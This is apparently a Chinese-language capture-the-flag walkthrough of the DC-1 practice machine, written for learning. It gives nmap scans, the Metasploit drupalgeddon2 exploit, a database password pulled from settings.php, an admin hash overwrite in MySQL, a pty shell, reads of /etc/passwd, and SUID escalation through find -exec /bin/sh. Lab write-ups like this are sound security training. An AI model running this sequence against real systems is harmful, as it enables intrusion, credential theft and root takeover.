发现一个靶机,来学习一下
准备
kali攻击机×1
靶机DC-1×1 靶机要和kali在同一个局域网里
信息搜集
打开虚拟机 发现需要登录
打开kali进入root用户 直接扫
1 | arp-scan -l |

可以在设置里看一下渗透机的MAC地址 从而判断渗透机的ip是多少
上nmap 扫一下看看
1 | nmap -sS -sV -Pn -n 192.168.174.128 |

我们可以看到 22 80 111 这些端口是开放的
80端口对应的是web服务 可以先去瞅瞅
百度了解一波↓↓↓
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成
然后,再来看看版本
1 | nmap -sS -sV -A -Pn -n -p- 192.168.174.128 |

使用的是Drupal 7
或者你也可以使用插件wappalyzer
Metasploit漏洞利用
接下来思路就很明了了 找一下相关的漏洞来利用
基于搜索引擎的某度黑客(#^.^#)
1 | msfconsole #启动 |

某度找了一圈,发现有个Vulnerability(漏洞)正好针对Drupal 7
那么,接下来就是Exploit(漏洞利用)环节了
1 | use exploit/unix/webapp/drupal_drupalgeddon2 |

看来是可行的 返回了一个session
1 | set rhosts 192.168.174.128 |

flag 1
接下来看一下目录 发现有flag1.txt

1 | Every good CMS needs a config file - and so do you. |
flag 2
根据flag1.txt的提示 跑去某度找了一下Drupal的目录结构
Drupal默认配置文件在 /var/www/sites/default/settings.php
打开看一下
1 | cat /var/www/sites/default/settings.php |

1 | * flag2 |
flag 3
获得flag2的同时,也获得了数据库账号和密码
做到这里突然想到 其实一开始可以传个大马上去的
后来又想了想,也可以不传
先做着试试吧
用python反弹一个交互式shell 登录MySQL数据库
1 | python -c 'import pty; pty.spawn("/bin/bash")' |

进入数据库肯定要先查询用户了
1 | show databases; |

1 | show tables; |

1 | select * from users; |

密码被数据库加密了
这个时候修改用户admin的密码即可
因为数据库的密码都是加密状态的
所以我们用同样的加密方法生成新密码的hash值并且更新到数据库、
1 | php scripts/password-hash.sh night #生成新密码night |

得到新密码的hash值 然后进入mysql数据库
1 | mysql -udbuser -p #password:R0ck3t |

1 | update drupaldb.users set pass="$S$DG7uGw5ymTluwrt4CxxTyYuNBD/.If3LxpxJC4Fge4cGPzpuubsQ" where name="admin"; |

然后我们打开浏览器 在网页Log in
登录成功
点击左上角Find content找到flag3
1 | Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow. |
flag 4
1 | cat /etc/passwd |
说起来这个命令我可太熟悉了 linux作业帮别人写了不知道多少遍 当时还不懂事还纳闷有啥用^_^
然后进入目录查看flag4
1 | Can you use this same method to find or access the flag in root? |
flag 5
涉及到SUID提权 了解了一下 发现需要找到可以提权可行性文件
尝试find
1 | find / -perm -u=s -type f 2>/dev/null |

1 | cd /var/www |

1 | find / -name night -exec "/bin/sh" \; |

1 | Well done!!!! |
逆风的方向,更适合飞翔, 我不怕千万人阻挡 ,只怕自己投降